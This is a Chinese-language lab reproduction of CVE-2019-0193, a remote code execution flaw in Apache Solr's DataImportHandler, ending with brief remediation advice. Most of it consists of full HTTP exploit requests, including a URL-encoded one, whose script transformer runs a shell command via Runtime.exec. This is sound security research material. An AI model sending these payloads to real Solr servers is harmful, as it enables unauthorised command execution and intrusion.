【漏洞復現】Apache Solr遠程代碼執行（CVE-2019-0193）

0x01 概述

Solr簡介

Apache Solr 是一個開源的企業級搜索服務器。Solr 使用 Java 語言開發，主要基於 HTTP 和 Apache Lucene 實現。Apache Solr 中存儲的資源是以 Document 爲對象進行存儲的。它對外提供相似於Web-service的API接口。用戶能夠經過http請求，向搜索引擎服務器提交必定格式的XML文件，生成索引；也能夠經過Http Get操做提出查找請求，並獲得XML格式的返回結果。

漏洞概述

此漏洞存在於可選模塊DataImportHandler中，DataImportHandler是用於從數據庫或其餘源提取數據的經常使用模塊，該模塊中全部DIH配置均可以經過外部請求的dataConfig參數來設置，因爲DIH配置能夠包含腳本，所以該參數存在安全隱患。攻擊者可利用dataConfig參數構造惡意請求，實現遠程代碼執行。

影響範圍

Apache Solr <8.2.0

0x02 復現過程

環境搭建

啓動環境

cd /vulhub/solr/CVE-2019-0193
docker-compose up -d

 

建立Core

docker-compose exec solr bash bin/solr create_core -c test_0nth3way -d example/example-DIH/solr/db

 

搭建成功

訪問http://ip:8983

 

漏洞復現

手工驗證（EXP1：須要目標出網，支持低版本檢測）

 （1）判斷該索引庫是否使用了DataImportHandler模塊

a.訪問 http://192.168.17.136:8983/solr/test_0nth3way/admin/mbeans?cat=QUERY&wt=json

b.若是使用了DataImportHandler模塊 則HTTP響應內會有:
org.apache.solr.handler.dataimport.DataImportHandler

（2）構造HTTP請求，遠程執行代碼

POST /solr/test_0nth3way/dataimport HTTP/1.1
Host: 192.168.17.136:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.17.136:8983/solr/
Content-type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 1231
Connection: close

command=full-import&verbose=false&clean=false&commit=false&debug=true&core=test_0nth3way&name=dataimport&dataConfig=
<dataConfig>


  <dataSource type="URLDataSource"/>
  <script><![CDATA[

          function poc(row){

 var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("id").getInputStream()));

var result = [];

while(true) {
var oneline = bufReader.readLine();
result.push( oneline );
if(!oneline) break;
}

row.put("title",result.join("\n\r"));

return row;

}


  ]]></script>

        <document>
             <entity name="entity1"
                     url="https://raw.githubusercontent.com/1135/solr_exploit/master/URLDataSource/demo.xml"
                     processor="XPathEntityProcessor"
                     forEach="/RDF/item"
                     transformer="script:poc">
                        <field column="title" xpath="/RDF/item/title" />
             </entity>
        </document>
</dataConfig>

 

手工驗證（EXP2：不須要目標出網，不支持低版本檢測）

（1）判斷該索引庫是否使用了DataImportHandler模塊（同上）

（2）修改configoverlay.json文件中的配置，以啓用遠程流的相關選項 （enableStreamBody、enableRemoteStreaming）  注：某些低版本會不成功，即響應500；成功響應200

POST /solr/test_0nth3way/config HTTP/1.1
Host: 192.168.17.136:8983
Accept: */*
Content-type:application/json
Content-Length: 159
Connection: close

{"set-property": {"requestDispatcher.requestParsers.enableRemoteStreaming": true}, "set-property": {"requestDispatcher.requestParsers.enableStreamBody": true}}

（3）構造HTTP請求，遠程執行代碼

POST /solr/test_0nth3way/dataimport?command=full-import&verbose=false&clean=false&commit=false&debug=true&core=test_0nth3way&name=dataimport&dataConfig=%3c%64%61%74%61%43%6f%6e%66%69%67%3e%0a%3c%64%61%74%61%53%6f%75%72%63%65%20%6e%61%6d%65%3d%22%73%74%72%65%61%6d%73%72%63%22%20%74%79%70%65%3d%22%43%6f%6e%74%65%6e%74%53%74%72%65%61%6d%44%61%74%61%53%6f%75%72%63%65%22%20%6c%6f%67%67%65%72%4c%65%76%65%6c%3d%22%54%52%41%43%45%22%20%2f%3e%0a%0a%20%20%3c%73%63%72%69%70%74%3e%3c%21%5b%43%44%41%54%41%5b%0a%20%20%20%20%20%20%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%70%6f%63%28%72%6f%77%29%7b%0a%20%76%61%72%20%62%75%66%52%65%61%64%65%72%20%3d%20%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%69%64%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%3b%0a%0a%76%61%72%20%72%65%73%75%6c%74%20%3d%20%5b%5d%3b%0a%0a%77%68%69%6c%65%28%74%72%75%65%29%20%7b%0a%76%61%72%20%6f%6e%65%6c%69%6e%65%20%3d%20%62%75%66%52%65%61%64%65%72%2e%72%65%61%64%4c%69%6e%65%28%29%3b%0a%72%65%73%75%6c%74%2e%70%75%73%68%28%20%6f%6e%65%6c%69%6e%65%20%29%3b%0a%69%66%28%21%6f%6e%65%6c%69%6e%65%29%20%62%72%65%61%6b%3b%0a%7d%0a%0a%72%6f%77%2e%70%75%74%28%22%74%69%74%6c%65%22%2c%72%65%73%75%6c%74%2e%6a%6f%69%6e%28%22%5c%6e%5c%72%22%29%29%3b%0a%72%65%74%75%72%6e%20%72%6f%77%3b%0a%0a%7d%0a%0a%5d%5d%3e%3c%2f%73%63%72%69%70%74%3e%0a%0a%3c%64%6f%63%75%6d%65%6e%74%3e%0a%20%20%20%20%3c%65%6e%74%69%74%79%0a%20%20%20%20%20%20%20%20%73%74%72%65%61%6d%3d%22%74%72%75%65%22%0a%20%20%20%20%20%20%20%20%6e%61%6d%65%3d%22%65%6e%74%69%74%79%31%22%0a%20%20%20%20%20%20%20%20%64%61%74%61%73%6f%75%72%63%65%3d%22%73%74%72%65%61%6d%73%72%63%31%22%0a%20%20%20%20%20%20%20%20%70%72%6f%63%65%73%73%6f%72%3d%22%58%50%61%74%68%45%6e%74%69%74%79%50%72%6f%63%65%73%73%6f%72%22%0a%20%20%20%20%20%20%20%20%72%6f%6f%74%45%6e%74%69%74%79%3d%22%74%72%75%65%22%0a%20%20%20%20%20%20%20%20%66%6f%72%45%61%63%68%3d%22%2f%52%44%46%2f%69%74%65%6d%22%0a%20%20%20%20%20%20%20%20%74%72%61%6e%73%66%6f%72%6d%65%72%3d%22%73%63%72%69%70%74%3a%70%6f%63%22%3e%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%66%69%65%6c%64%20%63%6f%6c%75%6d%6e%3d%22%74%69%74%6c%65%22%20%78%70%61%74%68%3d%22%2f%52%44%46%2f%69%74%65%6d%2f%74%69%74%6c%65%22%20%2f%3e%0a%20%20%20%20%3c%2f%65%6e%74%69%74%79%3e%0a%3c%2f%64%6f%63%75%6d%65%6e%74%3e%0a%3c%2f%64%61%74%61%43%6f%6e%66%69%67%3e HTTP/1.1
Host: 192.168.17.136:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.17.136:8983/solr/
Content-Length: 212
content-type: multipart/form-data; boundary=------------------------aceb88c2159f183f


--------------------------aceb88c2159f183f
Content-Disposition: form-data; name="stream.body"

<?xml version="1.0" encoding="UTF-8"?>
<RDF>
<item/>
</RDF>

--------------------------aceb88c2159f183f--

注：其中dataConfig的值，URLencode以前爲如下字符串

<dataConfig>
<dataSource name="streamsrc" type="ContentStreamDataSource" loggerLevel="TRACE" />

  <script><![CDATA[
          function poc(row){
 var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("id").getInputStream()));

var result = [];

while(true) {
var oneline = bufReader.readLine();
result.push( oneline );
if(!oneline) break;
}

row.put("title",result.join("\n\r"));
return row;

}

]]></script>

<document>
    <entity
        stream="true"
        name="entity1"
        datasource="streamsrc1"
        processor="XPathEntityProcessor"
        rootEntity="true"
        forEach="/RDF/item"
        transformer="script:poc">
             <field column="title" xpath="/RDF/item/title" />
    </entity>
</document>
</dataConfig>

 

0x03 修復建議

（1）建議對Solr作訪問限制

（2）廠商已發佈補丁：https://issues.apache.org/jira/browse/SOLR-13669